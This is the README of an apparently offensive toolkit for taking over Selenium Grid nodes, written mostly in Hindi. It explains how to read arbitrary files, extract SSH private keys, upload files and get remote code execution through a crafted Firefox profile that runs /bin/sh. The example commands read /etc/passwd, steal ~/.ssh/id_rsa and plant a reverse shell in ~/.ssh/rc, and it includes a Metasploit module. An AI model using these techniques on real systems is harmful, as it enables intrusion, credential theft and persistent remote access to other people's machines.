
एक संग्रह selenium परीक्षणों का जो selenium नोड के अधिग्रहण में सहायता कर सकता है।
This project has moved. To get the latest version, pull from https://codeberg.org/JonStratton/selenium-node-takeover-kit
This combines some of the examples below to upload files to, download files from, and execute code on a Selenium node (via the “COMMAND_TYPE” param). RCE currently only works on Linux. To install, copy this to "~/.msf4/modules/exploits/multi/http/" or whatever.
यह बस "file:" URL पर जाता है और पृष्ठ सामग्री डंप करता है।
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwdयह इनलाइन HTML का उपयोग करके एक इनलाइन फ़ॉर्म बनाता है जिसमें फ़ाइल अपलोड इनपुट होता है। फिर यह एक स्थानीय फ़ाइल स्थान को इस फ़ॉर्म में भेजता है। इस फ़ॉर्म में जावास्क्रिप्ट इस base64 एन्कोडेड फ़ाइल को उसी पृष्ठ में एम्बेड करता है। इसे फिर स्क्रिप्ट द्वारा पढ़ा और डिकोड किया जाता है, और एक स्थानीय फ़ाइल में सहेजा जाता है।
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsaनोड डाउनलोड स्क्रिप्ट की तरह, लेकिन जावास्क्रिप्ट में फ़ाइल प्रोसेस करने की परवाह नहीं करता। यदि फ़ाइल मौजूद नहीं है, तो स्क्रिप्ट, send_keys() एक अपवाद फेंक देगा।
केवल Firefox। एक Firefox प्रोफ़ाइल का उपयोग करता है (जो कि Selenium API हिट में एम्बेडेड एक base64 एन्कोडेड ज़िप फ़ाइल है) एक कस्टम हैंडलर बनाने के लिए (इस मामले में “application/sh” से /bin/sh)। फिर यह कुछ शेल कमांड्स को base64 एन्कोड करता है और “application/sh” से जुड़े कमांड्स पास करने के लिए इनलाइन “data:” का उपयोग करता है। Firefox तब कमांड्स के साथ एक अस्थायी फ़ाइल बनाएगा और इसे sh के साथ निष्पादित करेगा।
केवल Firefox। एक Firefox प्रोफ़ाइल का उपयोग करके एक कस्टम डाउनलोड निर्देशिका सेट करता है और "Save as" संकेत को बंद करता है। फिर इनलाइन HTML पर जाता है जिसमें एक एम्बेडेड "data:" लिंक है जो अपलोड करने के लिए एन्कोडेड फ़ाइल है। इस लिंक पर क्लिक किया जाता है।
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.shकेवल Firefox। एक Filefox Profile का उपयोग करता है, जो सुरक्षित रूप से अनज़िप नहीं किया जाता, नोड के फ़ाइल सिस्टम पर फ़ाइल लिखने के लिए।